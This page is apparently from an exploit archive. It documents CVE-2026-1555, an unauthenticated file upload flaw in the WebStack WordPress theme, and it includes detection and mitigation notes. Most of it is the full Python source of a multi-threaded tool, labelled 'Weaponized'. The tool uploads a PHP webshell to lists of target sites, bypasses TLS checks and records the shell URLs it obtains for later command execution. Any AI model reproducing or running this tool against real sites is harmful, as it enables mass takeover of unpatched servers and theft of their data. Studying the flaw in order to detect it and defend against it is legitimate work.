PoC Archive PoC Archive
Critical CVE-2026-1555 unpatched

WebStack WordPress Theme Unauthenticated Arbitrary File Upload RCE — CVE-2026-1555

by Nxploited · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-1555
Category
web
Affected product
WebStack theme for WordPress
Affected versions
All versions up to and including 1.2024
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherNxploited
CVE / AdvisoryCVE-2026-1555
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
Tagswordpress, webstack-theme, arbitrary-file-upload, unauthenticated-rce, webshell, ajax, cwe-434
RelatedN/A

Affected Target

FieldValue
Software / SystemWebStack theme for WordPress
Versions AffectedAll versions up to and including 1.2024
Language / PlatformPython 3.8+ multi-threaded exploit client against PHP/WordPress
Authentication RequiredNo
Network Access RequiredYes

Summary

The WebStack WordPress theme registers an img_upload AJAX action via wp_ajax_nopriv_, exposing it to unauthenticated visitors, and the handler function io_img_upload() performs no file type or extension validation before saving the uploaded file into a publicly reachable path. This allows an unauthenticated attacker to upload a PHP webshell disguised as any filename and immediately execute arbitrary commands by requesting the uploaded path. The included Python tool automates this against a list of targets: it multi-threads the upload of a local payload file to each target’s admin-ajax.php, extracts the resulting shell URL from the JSON response, and records working shell URLs to uploaded_paths.txt for later command execution.


Vulnerability Details

Root Cause

The img_upload AJAX action is registered without an authentication check (wp_ajax_nopriv_img_upload) and its handler io_img_upload() writes the uploaded file to a public directory without validating file type/extension or content.

Attack Vector

  1. Attacker prepares a webshell (e.g., a PHP file executing system($_GET['cmd'])).
  2. Attacker sends a POST request to /wp-admin/admin-ajax.php with action=img_upload and the payload file attached.
  3. Server stores the file as-is in a web-accessible upload directory with no content validation.
  4. The JSON response reveals the stored file path (data.src).
  5. Attacker requests the uploaded path with a cmd query parameter to execute arbitrary OS commands.

Impact

Complete unauthenticated remote code execution on any WordPress site running a vulnerable WebStack theme version.


Environment / Lab Setup

Target:   WordPress site with WebStack theme <= 1.2024
Attacker: Python 3.8+, pip packages requests, rich, urllib3

Proof of Concept

PoC Script

See CVE-2026-1555.py in this folder.

1
python CVE-2026-1555.py

The script reads a list of target URLs, uploads the specified local payload to each target’s vulnerable img_upload AJAX endpoint using multiple worker threads, extracts the live shell URL from the JSON response, and appends successful shell URLs to uploaded_paths.txt for follow-up command execution.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected .php (or otherwise non-image) files present under wp-content/uploads/
  • Repeated admin-ajax.php POST requests with action=img_upload from unauthenticated sessions
  • Outbound requests to uploaded file paths carrying a cmd query parameter

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-05 — monitor for a WebStack theme update beyond 1.2024
Interim mitigationDisable or restrict the img_upload AJAX action, add server-side MIME/content validation, and block execution of scripts within the uploads directory

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2026-1555 on 2026-07-05.

CVE-2026-1555.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
# By: Nxploited

import threading
import requests
import time
import os
import sys
import json
import urllib3
from queue import Queue, Empty
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn, TimeElapsedColumn
from rich import box
from rich.theme import Theme

# ===================== GLOBAL CONFIG =====================

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ["NO_PROXY"] = "*"

THEME = Theme(
    {
        "banner": "bold green",
        "subtitle": "bright_green",
        "accent": "bold bright_blue",
        "good": "bold bright_green",
        "bad": "bold bright_red",
        "muted": "dim white",
        "path": "bold bright_yellow",
        "url": "bold bright_cyan",
        "status": "bright_blue",
    }
)

console = Console(theme=THEME, force_terminal=True, color_system="truecolor")

USER_AGENT = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/120.0.0.0 Safari/537.36"
)

REQUEST_TIMEOUT = 15
DEFAULT_WORKERS = 6
OUTPUT_FILE = "uploaded_paths.txt"

queue_targets: "Queue[str]" = Queue()
stats = {
    "total": 0,
    "done": 0,
    "ok": 0,
    "fail": 0,
}
stats_lock = threading.Lock()


# ===================== UI / BANNER =====================

def print_banner():
    art = [
        " __ .  ..___      _,  _,  _, ._,       ,  ._, ._, ._, ",
        "/  `\\  /[__  ___ '_) |.| '_) (_   ___ /|  |_  |_  |_  ",
        "\\__. \\/ [___     /_. |_| /_. (_)      .|. ._) ._) ._) ",
        "                                                      ",
    ]

    text = Text()
    for line in art:
        text.append(line + "\n", style="banner")

    text.append("\n", style="banner")
    text.append("AuroraUpload | img_upload multi-target uploader\n", style="subtitle")
    text.append("By: Nxploited\n", style="accent")
    text.append("GitHub: https://github.com/Nxploited\n", style="muted")
    text.append("Telegram: @KNxploited | https://t.me/KNxploited\n", style="muted")

    console.print(
        Panel(
            text,
            box=box.ROUNDED,
            border_style="banner",
        )
    )


# ===================== INPUT / SETUP =====================

def prompt_config():
    target_file = console.input(
        "[accent]Targets file (default: list.txt): [/]"
    ).strip() or "list.txt"

    threads_raw = console.input(
        f"[accent]Threads (default: {DEFAULT_WORKERS}): [/]"
    ).strip()
    try:
        threads = int(threads_raw) if threads_raw else DEFAULT_WORKERS
    except Exception:
        threads = DEFAULT_WORKERS
    if threads < 1:
        threads = 1

    payload_name = console.input(
        "[accent]Local file to upload (e.g. shell.php): [/]"
    ).strip() or "shell.php"

    # Resolve payload path (relative to script directory)
    script_dir = os.path.dirname(os.path.abspath(sys.argv[0]))
    payload_path = os.path.join(script_dir, payload_name)

    if not os.path.exists(payload_path):
        console.print(
            Panel(
                Text(f"Local file not found: {payload_path}", style="bad"),
                border_style="bad",
                box=box.ROUNDED,
            )
        )
        sys.exit(1)

    return target_file, threads, payload_path


def load_targets(filename: str):
    if not os.path.exists(filename):
        console.print(
            Panel(
                Text(f"Targets file not found: {filename}", style="bad"),
                border_style="bad",
                box=box.ROUNDED,
            )
        )
        sys.exit(1)

    targets = []
    with open(filename, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            url = line.strip()
            if not url:
                continue
            if not url.lower().startswith(("http://", "https://")):
                url = "http://" + url
            targets.append(url.rstrip("/"))

    if not targets:
        console.print(
            Panel(
                Text("No targets found in list file.", style="bad"),
                border_style="bad",
                box=box.ROUNDED,
            )
        )
        sys.exit(1)

    return targets


def write_shell_url(url: str):
    try:
        with open(OUTPUT_FILE, "a", encoding="utf-8", errors="ignore") as f:
            f.write(url.strip() + "\n")
    except Exception:
        # Silent fail for logging errors
        pass


# ===================== CORE LOGIC =====================

def build_ajax_url(base: str) -> str:
    return f"{base.rstrip('/')}/wp-admin/admin-ajax.php"


def send_img_upload(base: str, payload_path: str):
    """
    Equivalent to:

    curl -X POST https://site/wp-admin/admin-ajax.php \
      -H "Content-Type: multipart/form-data" \
      -F "action=img_upload" \
      -F "files=@/path/to/payload"
    """
    url = build_ajax_url(base)

    try:
        with open(payload_path, "rb") as fh:
            files = {
                "files": (os.path.basename(payload_path), fh, "application/octet-stream"),
            }
            data = {
                "action": "img_upload",
            }
            resp = requests.post(
                url,
                data=data,
                files=files,
                headers={"User-Agent": USER_AGENT},
                timeout=REQUEST_TIMEOUT,
                verify=False,
            )
    except Exception as e:
        return False, f"REQUEST_ERROR: {e}"

    body = resp.text.strip()
    try:
        j = resp.json()
    except Exception:
        return False, f"JSON_PARSE_ERROR: {body[:200]}"

    if not isinstance(j, dict):
        return False, "JSON_NOT_OBJECT"

    status = j.get("status")
    data_obj = j.get("data") or {}

    src = None
    if isinstance(data_obj, dict):
        src = data_obj.get("src")

    if status == 1 and src:
        src = src.replace("\\/", "/")
        return True, src

    return False, body[:200]


def print_success(site: str, shell_url: str):
    text = Text()
    text.append("Upload successful\n\n", style="good")
    text.append("Target: ", style="accent")
    text.append(site + "\n", style="url")
    text.append("Shell URL: ", style="accent")
    text.append(shell_url + "\n", style="path")

    console.print(
        Panel(
            text,
            title="[good]IMG_UPLOAD[/good]",
            border_style="good",
            box=box.ROUNDED,
        )
    )


def summarize():
    with stats_lock:
        total = stats["total"]
        done = stats["done"]
        ok = stats["ok"]
        fail = stats["fail"]

    line = Text()
    line.append("Summary ", style="muted")
    line.append(f"{done}/{total}  ", style="status")
    line.append("OK:", style="muted")
    line.append(f"{ok}  ", style="good")
    line.append("FAIL:", style="muted")
    line.append(str(fail), style="bad")
    console.print(line)


# ===================== WORKER LOOP =====================

def worker_loop(payload_path: str, progress_task=None, progress: Progress | None = None):
    while True:
        try:
            site = queue_targets.get_nowait()
        except Empty:
            return

        base = site.rstrip("/")
        success = False
        info = ""

        try:
            ok, info = send_img_upload(base, payload_path)
            if ok:
                shell_url = info
                write_shell_url(shell_url)
                print_success(base, shell_url)
                success = True
            else:
                console.print(f"[bad]FAIL[/bad] {base} -> {info}")
        except Exception as e:
            info = str(e)
            console.print(f"[bad]ERROR[/bad] {base} -> {info}")

        with stats_lock:
            stats["done"] += 1
            if success:
                stats["ok"] += 1
            else:
                stats["fail"] += 1

        if progress and progress_task is not None:
            progress.update(progress_task, advance=1)

        queue_targets.task_done()


# ===================== MAIN =====================

def main():
    print_banner()
    targets_file, workers, payload_path = prompt_config()
    targets = load_targets(targets_file)

    for t in targets:
        queue_targets.put(t)

    with stats_lock:
        stats["total"] = len(targets)
        stats["done"] = 0
        stats["ok"] = 0
        stats["fail"] = 0

    console.print(
        f"[accent]Loaded[/accent] [path]{len(targets)}[/path] [accent]targets | Threads:[/] [path]{workers}[/path]"
    )
    console.print(f"[accent]Payload:[/] [path]{os.path.basename(payload_path)}[/path]\n")

    threads = []
    with Progress(
        SpinnerColumn(style="status"),
        TextColumn("[status]{task.description}"),
        TextColumn("{task.completed}/{task.total}"),
        TimeElapsedColumn(),
        console=console,
        transient=True,
    ) as progress:
        progress_task = progress.add_task("Uploading...", total=len(targets))

        for _ in range(min(workers, len(targets))):
            t = threading.Thread(
                target=worker_loop,
                args=(payload_path, progress_task, progress),
                daemon=True,
            )
            t.start()
            threads.append(t)

        for t in threads:
            t.join()

    console.print()
    summarize()
    console.print(
        Panel(
            Text(f"Shell URLs saved to {OUTPUT_FILE}", style="good"),
            border_style="good",
            box=box.ROUNDED,
        )
    )


if __name__ == "__main__":
    main()